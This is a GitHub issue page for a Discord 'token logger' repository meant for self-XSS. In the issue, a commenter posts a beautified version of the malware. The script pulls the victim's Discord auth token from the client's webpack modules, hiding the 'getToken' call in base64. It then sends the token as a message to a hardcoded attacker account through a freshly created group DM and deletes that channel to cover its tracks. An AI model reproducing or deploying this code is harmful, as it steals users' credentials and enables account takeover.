Takaso / One-Liner-Token-Logger

One Liner Token Logger For Self-XSS via "javascript:"
Apache License 2.0
1 stars 0 forks source link

Add a beautified version for ease of reading. #2

Open thecatontheceiling opened 1 year ago

thecatontheceiling commented 1 year ago

Instead of just having a one liner which is hard to read we can also have another file specifically written to be readable do the viewer of this repo has an idea of what this script does.

I've beautified and changed the code in a few places so it's easy to read, putting this in a new file on the repository or README.MD should be enough.

const targetId = "1029048356099588096";

const tp = (() => {
    const m = [];
    for (let c in webpackChunkdiscord_app) {
        m.push(webpackChunkdiscord_app[c]);
    }
    return m.find(m => m?.exports?.default?.getId !== undefined).exports.default[atob("Z2V0VG9rZW4")]();
})();

async function deleteChannel(gc_id) {
    await new Promise(t => setTimeout(t, 1500));
    await fetch(`https://discord.com/api/v9/channels/${gc_id}?silent=true`, {
        method: "DELETE",
        headers: {
            authorization: tp
        },
        body: null
    });
}

function senseOfWonder() {
    fetch("https://discord.com/api/v9/users/@me/channels", {
        method: "POST",
        headers: {
            authorization: tp,
            "content-type": "application/json"
        },
        body: JSON.stringify({
            recipients: []
        })
    })
    .then(response => response.json())
    .then(enne => {
        const gc_id = enne.id;
        fetch(`https://discord.com/api/v9/channels/${gc_id}/recipients/${targetId}`, {
            method: "PUT",
            headers: {
                authorization: tp
            },
            body: null
        });
        fetch(`https://discord.com/api/v9/channels/${gc_id}/messages`, {
            method: "POST",
            headers: {
                authorization: tp,
                "content-type": "application/json"
            },
            body: JSON.stringify({
                content: `> \`${tp}\``,
                flags: 0,
                tts: false
            })
        })
        .then(() => deleteChannel(gc_id));
    });
}

senseOfWonder();
Takaso commented 1 year ago

I'm used to made my codes hard to read, it's a bad habit of mine

thecatontheceiling commented 1 year ago

well you can just add this to the readme lol i already made it easier to read so